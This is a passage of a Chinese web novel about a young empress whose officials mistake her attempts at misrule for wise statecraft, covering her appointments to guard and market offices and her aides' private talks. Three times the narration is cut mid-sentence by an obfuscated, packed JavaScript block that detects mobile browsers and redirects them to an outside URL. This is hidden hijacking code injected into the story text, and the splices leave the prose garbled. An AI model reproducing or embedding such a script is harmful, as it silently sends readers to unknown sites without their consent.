王齐师说的都是真话,但以他对郭兴道的了解,这人的性格已经严厉到堪称酷烈,是个只可为副将不可为主帅的人物,倘若把外卫的统辖之权放给他,多半会惹出极大的麻烦。 温晏然听到王齐师的话,心内计划跟着慢慢成形。 身为当今天子,温晏然上朝时并不戴衮冕,用来束发的只是最普通的布冠,表面甚至都不曾饰以珠玉,虽然所用的布料肯定也是特别昂贵的那一类,但在视觉感受上,华丽程度比起那些贵族间流行的冠饰差得就不止一点半点。 左右近侍曾劝诫过天子,若以布巾为冠,有失天子体面。 温晏然对大周风俗缺乏深入了解,但既然近侍们在有失体面上保持了如此一致的观点,就果断顺着心意改用了布冠。 她其实觉得锦衣玉服也挺适合用来败坏个人形象,但既然在时人的观点中,布冠也存在不合天子身份的缺陷,温晏然便决定选择佩戴更加轻便且不易伤害发际线的那一款——做昏君,从不委屈自己衣食住行开始。 然而温晏然不清楚的是,近侍们这么说,很大程度上是想给领导提供一个挥霍的借口,殿中的朝臣们却绝不会因此小觑天子,倘若没有当日灵堂杀人,宫苑平叛之事,他们或许会因此以为新帝性情怯懦自闭,不敢用太华丽的物品装饰自己,但现在只会发自肺腑地认为,对方已经是大周的皇帝,天下都被握在她掌中,那么华丽的冠饰是放在库房内,还是戴在身上,根本没有任何区别。 类似的想法也出现在王齐师心中,他此刻虽然跪于地面,却始终保持着意气激昂的忠臣姿态,仰首注视着面前的君主,然而内心的怯意却一刻比一刻浓郁,对方虽然仅仅身着常服,却如云上山峦,给人以莫测的威严感。 温晏然没有直接给出答案,笑了笑道:“王卿先起身归座罢。” 纵然王齐师还有话要说,闻言也只得依言回位——长跪不起常常出现在天子有失道之举,大臣们不顾生死,一心想要劝诫的时候,他要是在没有合适理由的情况下非要来这么一下,旁边的大理寺卿贺停云绝对敢以不敬的罪名将他免官下狱,用来树一树新官上任的威风。 温晏然如今已经习惯了考虑事情的时候,所有朝臣的注意力都集中在自己身上,她一边思忖,一边缓缓道:“如王卿所奏,那郭、罗二将的确算是人才。” 听到天子出言肯定,王齐师还没来得及喜悦,就听见上方又传来了一段话—— “既然如此,就令郎将罗越为禁军中卫统领,校尉钟知微因功加昭武尉,拔为内卫统领,副将燕小楼依旧统领外卫,暂不加职……” 温晏然读书未久,在做决策时纵然有一些措辞不太合意,朝臣们也不会放在心上,更何况下发明旨的时候,会有中书舍人帮忙润色。 在《君王攻略》里面,遇见相关剧情节点的时候,玩家可以进行官员任免,大致方案有两种,让臣子举荐或者自己任命,皇帝本人可以根据自己的威信,拒绝掉臣子举荐的对象,当然这种行为也存在次数限制,如果是自己任命,那必须是此前通过各种途径的听说过的官员,而且被任命的官员与被任命职位的契合度不能太低。 王齐师面色微变,似乎想说什么,张了张口,又强行按耐住。 温晏然扫他一眼,微笑:“方才王卿说前营内主官多有耄聩之辈,而郭卿性情刚直,那就让郭卿去前营中任职。” 王齐师默然。 他想到自己可能没法完全左右天子的想法,却没想到结果居然能离谱成这样。 而且更令王齐师格外难以接受的是,他没有任何理由继续反对温晏然的任命,毕竟从表面情况看,天子今日旨意其实很给他面子,提到的郎将都被提拔,只是具体任职岗位上,跟原先的计划产生了极大的差别。 倘若是钟知微去前营,那么多半会遭遇各种隐形的排斥与打压,最终默默无闻,而郭兴道去前营的话,以其性烈如火的脾气,前营那群人反倒不好做得太过分,而且即使这些人不顾及郭兴道的脾气,也会顾忌他背后的家族,而最妙的是,前营中官宦之家出身的人比禁军要少,没那么多牵扯。 郭兴道已得其所,而以燕小楼的性格,经此一事后,对天子自然更加忠心耿耿,恨不得肝脑涂地为之效死,至于钟知微,对方因为出身的缘故,在建平内无可倚仗,于情于理都必须站在天子的阵营当中。 想到这里,王齐师心下不禁悚然。 方才温晏然听见郭兴道等人名字时的生疏之态不像是在假装,那就是说,对方仅凭从自己这里得到的少许讯息,就迅速将所有人都安排在了最合适的位置上。 这位小天子衣冠简朴,一朝间鱼跃龙门却不曾大肆铺张,在选用官员方面,不必见面便能知其人,虽然疑心极重,却又不失宽宏,很懂得用人不疑的道理,即使如今年纪尚小,也已初具明君之风。 王齐师暗想,既然皇帝明见若此,今后或许不能完全按老师的意思行事,依他所见,朝中许多大臣对这位天子都极为看好,恨不能对方立刻全面亲政,他们好大展拳脚,中兴大周。 袁太傅的权势虽然重,但很大一部分原因在于他是世人眼中的忠臣,其权势是依托在天子的权势之上的,许多朝臣遵从的并非是袁太傅本 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14880625|159801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人,而是“先帝指定的辅助大臣”以及“对天子忠心耿耿的三公”。 王齐师心念电转之时,温晏然还在讲述她的安排,说完对禁军的安排后,又道:“当日宫乱之时,有不少宫人内侍为之奔走,有二人可以算是首功……”看一眼身边池张两人,笑道,“就以池仪为市监左丞,以张络为市监右丞,加二人奉使谒者,各自赐钱二十万,其余宫人,也具都按数赏赐。” 不少人朝臣听到天子旨意时都愣了一下,谒者是皇帝的近侍,负责传达谕令,以池张二人的能力,迟早会挂上一个类似的职位,方便内外奔走,至于市监丞的任命,则在旁人的意料之外。 不少人甚至都未曾想起市监是做什么的,袁太傅倒是依靠自己强大的政务知识储备,隐约记起了市监左丞右丞的来源。 这两个职位都归属于少府,在大周立国之初,少府兼领内外,既管国库,也管皇帝的私库,到了后来,权柄慢慢收缩,跟尚宫局一样,成了专门对皇帝本人及其后宫子女等人负责的机构。 市监本来的职责是掌管大周与周边国家器物钱粮交互的机构,外国进贡的贡品也大多保存在这里,然而现在这个职能已经被后来设立的四方馆取代,属于一个法理上还存在,但实际上已经废弃多年的部门。 袁太傅本已不打算再开口,此时还是忍不住出言试探道:“此二人任市监左右丞之后,自当履行市监职责。” 温晏然微笑:“朕年幼时曾听闻建平内百姓年节时会游戏于坊市之间,常思其景,想遣人采选市井之物,观其风貌,权当与民同乐之意,市监一向负责管理外面送来的天子私器,负责总理此事,也算是履行旧职。” 如果温晏然重立市监的目的只为了取悦自己,袁太傅在答应之前,肯定还得按照文官的职业素养劝谏几句,就算是同意也得做出一番勉为其难的姿态来,用天子的顽劣反衬一下自己的忠直,但天子刻意里拿百姓说事,隐有感受民情风俗之意,再加上市监又不是什么重要职位,也就将劝说的话咽下。 在所有有资格到西雍宫前殿议事的朝臣中,唯有贺停云因为坚信温晏然乃是一位刚毅果决,深谋远虑的圣明天子,心中隐约划过一个不甚清晰的念头,然而仔细去想时,又说不清方才到底在思虑些什么。 温晏然说完对宫人的封赏后,又关心了下不久后过年时各地诸侯郡守的上表问题。 朝臣们闻言,立刻打起精神,专心应对此事,毕竟这是新帝登基后的第一年,地方要上表为天子贺,顺表展现一下自己的态度,与此事相比,两个宫人內监的任免问题,根本不值一提。 此刻唯有温晏然自己知道,对于她而言,今天将钟知微点为内卫统领并借此加强对兵权的掌控只是次要目的,真正目的其实就是这两个市监丞的位置。 以她此时的威望,想要单独设立一个机构基本没什么可能,就算勉强设置了,也会被朝臣们迅速架空。 所以温晏然的打算就调整成了对现有的边缘机构进行废物再利用。 温晏然预备把市监给徐徐打造成类似锦衣卫东西厂的部门——虽然她是理科生,但在诸多影视作品的熏陶下,也了解了这些部门有多么遭人怨恨,搁哪都是昏君奸臣的标准配置。 感谢电视剧,感谢评论区,她相信,只要把池仪跟张络两个评论区钦点的奸臣好苗子放在最适合奸臣成长的土壤中,就绝对没有重新长正的可能。 15. 第十五章 西雍宫内议事完毕后,温晏然遣身边近侍将朝臣送出,她注意到天上又飘起了雪,而来殿内有不少上了年纪的老人,索性宣了车辇过来。 张络虽然被拔擢为市监右丞,算是少府中有编制的小官,面上却没有一丝骄傲之态,反而像个普通的小黄门一样,一直笑呵呵地将袁太傅等人送到宫门处才回来。 纵然朝臣们对宦官的观感一向多有蔑视跟提防,不过张络现在没什么恶名,又表现得谦恭有礼,反倒让他们觉得新帝果然身负天命,极具君王威德,连身边的近侍也受其感染,才表现得如此进退得宜。 张络一直到所有朝臣都离开后,才慢慢往回走,抵达西雍宫时,正看见池仪去往宫人休憩的小间里用饭。 两人虽然认识的时间不长,不过因为处境相似,多少有些同僚之谊,相处起来也比旁人要随意一些。 张络直接走了过来,压低声音,问:“看来陛下那边已经用过膳了?” ——作为天子身边的近侍,他们总得服侍过陛下吃饭后,才能轮流去用餐。 如今天黑的早,晚膳也比夏日时提前了半个时辰,温晏然午膳就用的简单,饭后又会按惯例小睡片刻,宫人们也会借机休息一会。 池仪咽下口中饭粒,目光也从面前的书卷上移开,同样轻声回复道:“你看看殿里的样子,就该知道是睡下了。” 张络微微点头——近侍都知天子不喜喧闹,平素自然用心约束宫人,不许在殿中喧哗嬉戏,若是天子就寝期间,内外更是雅雀无声,哪怕他们待在宫人休憩的小间中交谈,也会不自觉地压低嗓音。 宫人每日饭食都有定例,张络止住一个想过来服侍的小黄门,亲手将自己的菜取来,摆在桌上,又拿了碗箸,笑道:“我与仪姊一块吃饭,不用另外挪食案过来。” 因为温晏然要求他们读书认字,张络平常连吃饭的时候都会抓紧时间看上两眼,今天却不曾拿书, 池仪也放下手中的书卷:“正好,我今天有一件事,要与阿络商量一二。” 张络:“我也有事要找仪姊商议。” 两人对视一眼,心中具都有数。 天子看重他们,将他们挑入天桴宫,还委以官职,显然是要从头培养自己心腹的意思,但随着池张两人羽翼渐丰,以少府令为首的宫中旧人难免会生出不满之意,素来新旧交替时必生动荡,若是徐徐图之还好,奈何两人随在温晏然身边,崭露头角的速度实在太快,少府令再迟钝,也不能无视他们的存在。 张络忽然:“陛下吩咐咱们多读些书,我这些日子一直留心,从书上看,不管在哪朝哪代,士大夫都瞧不起宦官,将咱们视作獒犬之流。” 池仪微微点头:“其实也不错,那些士人做事时要顾忌道德礼仪,你我却不用——想要天下太平,既需要有道德之士维护正统,使得天下人心向太启宫,也要有只听主人命令的獒犬以利齿威慑,谁让主人不快,獒犬就去咬谁,免得那些士人自诩道德,反过来遏制主人。”微微冷笑,“若是咱们这些獒犬自己互相撕咬起来,让外人瞧了笑话还是其次,若是让那些士人发现,主人手中并无可用之獒犬,岂不耽误了大事。” 她读书时间不长,实在是天资聪颖,才从书上那些道德文章里,硬是悟出了一点内臣与外臣的本质跟区别。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14880626|159801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 若是这番话被朝臣们听到,恐怕会立刻向天子请旨,将池仪就地诛杀。 张络心下颇服池仪之言,道:“既然如此,咱们须得趁着现下矛盾还不深,主动缓和一番与少府那边的关系。” 池仪点头:“我打算将今次所得十万赏钱分赠少府诸人,自己不留一文。” 张络笑:“仪姊寻我商量,是觉得络舍不得那十万钱么?” 池仪:“你自然不会不舍得,不过再舍得,也得问过你一句方可行事。” 两人议定后,各自吃饭读书,看一看时辰,觉得天子差不多该睡醒了,便进来服侍。 因为温晏然之前病重过一段时间,险些还没坐上皇位就直接归天,身侧近侍侍奉起来愈发战战兢兢,池张二人进门前,先在炉子前站了一会,等身上寒气都被驱散,才敢进内殿。 他们进来时,一位女官正捧茶过来,服侍天子漱口。 宫中人都晓得,在被立为储君之前,新帝一直住在偏远的桐台,搬到西雍宫后,也没有因为生活条件的骤然提高而事态,在此服侍的内侍女官们见天子如此沉得住气,也不敢像对待小孩子一样对待温晏然,反而格外恭谨肃穆。 池仪两人进殿时,也忍不住心生感慨,新帝是天下之主,少府内藏物当可随意取用,但近身服侍的人都晓得,天子衣饰上纹绣简素,日常多着细棉衣而少用绫罗绸缎,实在是比书上记载的明君还要仁德贤明,而且西雍宫内外约束严密,没有一名宫人敢泄露禁中情状,温晏然自己也并不宣扬,外朝大臣更是一无所知,由此可见,天子是真心如此,并非是为了博美名而故意表现出一副节俭的姿态。 16. 第十六章 温晏然任由宫人给自己擦面,一面吩咐身边的内侍:“……知会尚食,后日备下可供五六十人吃的面饼、炙肉与羊汤。” 池仪与张络等天子吩咐完,才双双跪地,回禀方才商量好的事情,表示他们打算将获得的赏钱让给少府中的同僚。 温晏然听着两人讲述,并没有立刻给出回应。 池仪又小心道:“当日有幸能选侍于陛下身侧,多赖少府令教导,是以所得赐钱,不敢据为己有。” 温晏然笑了下,转头向着方才记录自己所言的内侍道:“刚刚说的那些饭食,替池左丞跟张右丞送到少府去。”看先池张两人,“后日未初,放你们两个时辰的假,去见一见同僚。” 张络闻言,心头一跳,强行忍住没跟池仪对视。 ——温晏然不是听完他们诉说商议好打算后才做的决定,而是早就准备赐下饮食,显然是料定了他们一定会选择与少府那边缓和关系。 如此想来,让宫中新旧势力和睦相处,确实是天子的圣意。 张络曾在书上看到过“料事如神”四个字,然而直到被选在天子身侧,方才明白什么叫做料事如神! 有宫人捧来热水让天子净手,温晏然微微弯下腰,额上的发丝顺势垂落到了脸上,她将手浸到热水中,同时对池张两人道:“少府令今年春秋几何?” 池仪小心回禀:“少府令今年五十有二。” 按大周现在的生活条件以及居民的平均年龄,少府令已经是一位随时可能去侍奉先帝的老者。 温晏然点点头,随意道:“既然年纪这样大,那后日你们一块用饭时,莫要忘了对待年长者的礼节。” 池张两人几乎是在天子提到少府令年龄的那一刻起,就领悟了天子的意图。 少府令是内官,一身荣辱全系在天子身上,对方的职业注定了他必须努力争取天子的信任,但年龄又会让他开始谋求一个能颐养天年的退路。 温晏然没打算让少府令突然失势,在穷困潦倒中度过一个凄惨的晚年,反倒有意让对方保持着现有的工作待遇,逐步退居二线,若是少府令聪明的话,自然会表现得配合一些,帮助池张两人顺利完成权力的过度。 池仪想,或许士大夫们并不会觉得这种安排有什么了不起的地方,但作为内官,她心中的震动却难以言喻——天子愿意为身边被视作獒犬一类的近侍的退路做打算,仅此一点,便可以称作“仁”了。 “还有,等尚书台那边用完印后,你们去禁军颁旨,记得安抚一番燕副将,说朕知道他的谨慎,叫他莫要灰心,当日季贼没有选择带兵冲出建平,也是顾忌城中有燕卿在。申时初宣卢侍郎跟贺御史进来,酉初宣钟统领……”温晏然一边说一边站起身,双臂平伸,让女官帮忙穿上外袍,“再知会一下尚食局,把朕的菜拿两道送给太傅,再拿两道给国师,卢卿,贺卿,王卿还有郑卿那边各赐一道,再去萧将军府上问一声,得空的话,请她在酉中的时候进宫里来,朕与她一块用晚膳。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14880627|159801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >为防泄露禁中语,天子身边的内官是不带纸笔在身上的,不过完全不妨碍他们记事——对池仪张络这样完全靠才能受到皇帝倚重的人而言,过耳不忘属于基本的职业素养。 * 卢沅光受天子召唤后,跟着内官入宫,进门前恰好遇见了贺停云——她在被宣的时候就有心理准备,等进殿后,温晏然问的果然是雪灾防治的事项。 温晏然给两位大臣赐了座,道:“卢侍郎,你查一查历年大雪时,天下各州受灾情况,列出来做一个对比,呈上来给朕过目。”又道,“今年建州一带,朕不许出现任何纰漏。” 建州的“建”字就来源于建京,是大周最核心的地区,温晏然要做昏君,起码也得维持自己君主的身份,建州就属于不可以抛弃的底线,温晏然想,倘若连建州都跟着失控,那么世界意识就可以尽早把时间线的再度回滚给提上日程了…… 卢沅光拱手:“建州中多有官宦之家……” 作为多少看过几部将朝堂斗争的电视剧的理科生,温晏然迅速理解了卢沅光的言下之意,笑道:“若不是多有官宦之家,朕又叫贺卿来做什么?” 贺停云闻言,立刻深施一礼,斩钉截铁道:“微臣一定全力配合卢侍郎。” 她从总角时期开始,内心就一直对建平法纪败坏的风气深感厌恶,本以为凭自己的性格,此生都无法得志,没料到居然能遇见一位刚毅果决的少年天子,既然如此,那便是老天要她振作起来,为匡扶社稷竭尽全力。